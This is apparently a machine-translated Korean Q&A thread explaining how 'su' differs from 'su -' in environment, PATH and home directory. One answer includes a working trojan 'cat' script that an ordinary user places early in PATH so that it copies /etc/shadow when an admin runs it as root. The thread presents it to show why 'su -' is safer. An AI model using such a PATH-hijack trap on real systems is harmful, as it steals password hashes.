태그 보관물: su

su

su가 아닌 su를 사용하는 이유는 무엇입니까? 루트로 로그인 su -하는

루트로 로그인 su -하는 것보다 선호되는 이유를 이해하지 못합니다 su.



답변

su -사용자 전환 후 로그인 쉘을 호출합니다. 로그인 쉘은 대부분의 환경 변수를 재설정하여 깨끗한 기반을 제공합니다.

su 사용자를 전환하여 이전 사용자와 거의 동일한 환경의 일반 셸을 제공합니다.

컴퓨터에 대한 일반 사용자 액세스 권한을 가진 소프트웨어 개발자이고 무지한 관리자가 루트 액세스 권한을 부여하지 않는다고 상상해보십시오. (희망스럽게) 그를 속이자.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

이제 관리자에게 cat홈 폴더의 더미 파일 을 사용할 수없는 이유를 물어보십시오 . 작동하지 않습니다!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

관리자가 똑똑하지 않거나 약간 게으른 경우 책상에 와서 슈퍼 유저 권한으로 시험해 볼 수 있습니다.

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

와! 감사합니다, 최고 ​​관리자!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

그는.

손상된 $PATH변수가 재설정되지 않았 음을 알 수 있습니다. 관리자가 su -대신 호출하면 이런 일이 발생하지 않았을 것입니다.


답변

su -루트로 완전히 로그인하는 반면 루트 su로 가장합니다.

가장 확실한 예는 ~을 사용하는 경우 루트의 홈 디렉토리이고을 사용하는 경우 su -자신의 홈 디렉토리 su입니다.

시스템에 따라 프롬프트 PATH, 또는 히스토리 파일의 차이를 의미 할 수도 있습니다 .

따라서 시스템을 관리하는 팀의 일원이고 동료가 실행할 명령을 제공하는 경우 su -, 둘 다 사용하는 경우에도 동일하게 작동한다는 것을 알고 있지만 둘 다 사용하는 경우 su차이가있을 수 있습니다. 다른 쉘 구성.

반면에 루트로 명령을 실행하고 자체 구성을 사용하려는 경우 su더 좋습니다.

또한 루트로 실행되는 쉘을 시작하는 옵션 sudo이있는 에 대해 잊지 마십시오 -s. 물론 여기에는 다른 규칙이 있으며 사용중인 배포판에 따라 변경됩니다.


답변

나는 일반 사용자로 디렉토리에 있지만 루트로 전환하고 스위치 후에 동일한 디렉토리에 남아 있고 싶을 때 su를 사용합니다. su를 사용하면 사용자를 루트로 전환하고 루트 홈 디렉토리 인 / root로 이동합니다.


답변

주요 차이점은 다음과 같습니다.

su - username 쉘 사용자가 지정된 사용자로서 클린 로그인 인 것처럼 쉘 환경을 설정하고 지정된 사용자 환경 변수에 액세스하여 사용합니다.

su username 지정된 사용자에 대한 현재 환경 설정으로 쉘을 시작합니다.

su및로 username을 지정하지 않으면 su -루트 계정이 기본값으로 암시됩니다.


답변